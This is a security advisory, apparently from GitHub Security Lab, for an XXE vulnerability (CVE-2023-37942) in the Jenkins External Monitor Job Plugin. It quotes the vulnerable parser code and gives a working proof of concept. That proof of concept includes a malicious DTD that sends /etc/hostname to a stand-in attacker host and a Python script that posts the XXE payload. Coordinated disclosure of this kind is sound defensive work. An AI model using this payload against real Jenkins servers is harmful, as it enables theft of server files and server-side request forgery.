Coordinated Disclosure Timeline
- 2023-04-13: Issue reported to the Jenkins Security team.
- 2023-07-12: Advisory published (fixed in External Monitor Job Type Plugin 207.v98a_a_37a_85525).
Summary
Jenkins External Monitor Job Plugin 203.v683c09d993b_9 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.
This allows authenticated attackers with Job Build permissions to send specific HTTP requests that force Jenkins to download and parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.
Product
Jenkins External Monitor Job Plugin
Tested Version
Details
XXE in ExternalRun.java
(GHSL-2023-056
)
The Jenkins External Monitor Job Plugin implements the ExternalJob
class, which exposes a method doPostBuildResult
that is accessible via HTTP requests:
src/main/java/hudson/model/ExternalJob.java:95
@POST
public void doPostBuildResult( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
ExternalRun run = newBuild();
run.acceptRemoteSubmission(req.getReader());
rsp.setStatus(HttpServletResponse.SC_OK);
}
The user-provided body from the POST request gets sent to ExternalRun.acceptRemoteSubmission
, which basically triggers a RunExecution
:
src/main/java/hudson/model/ExternalRun.java:126
public void acceptRemoteSubmission(final Reader in) throws IOException {
// --snip--
execute(new RunExecution() {
// --snip--
public Result run(BuildListener listener) throws Exception {
PrintStream logger = new PrintStream(new DecodingStream(listener.getLogger()));
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader p = xif.createXMLStreamReader(in);
As it can be seen, the user-provided in
Reader
is passed to XMLInputFactory.createXMLStreamReader
, which doesn’t disable DTDs nor external entity resolution.
This issue was found by the Resolving XML external entity in user-controlled data CodeQL query.
Impact
This issue may lead to arbitrary file read, server-side request forgery, and denial of service.
Proof of concept
To exploit this vulnerability, first a server hosting a malicious DTD needs to be set up. The DTD would look as follows:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'https://attacker.acme/?x=%file;'>">
%eval;
%exfiltrate;
With the server up and running, an authenticated attacker can make the following POST request to the Jenkins server (assuming an external job ext
exists) to exploit the XXE:
import requests
URL = "http://localhost:8080"
USER = "user"
PASS = "..." # API Token with Job Build permission
r = requests.post(URL + "/job/ext/postBuildResult", data="""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://attacker.acme/test.dtd"> %xxe;]>
<foo>bar</foo>""", auth=(USER,PASS))
The attacker receives the content of the /etc/hostname
file as a query parameter x
at https://attacker.acme/
.
CVE
- CVE-2023-37942
Resources
Credit
This issue was discovered and reported by the GitHub CodeQL team member @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-056
in any communication regarding this issue.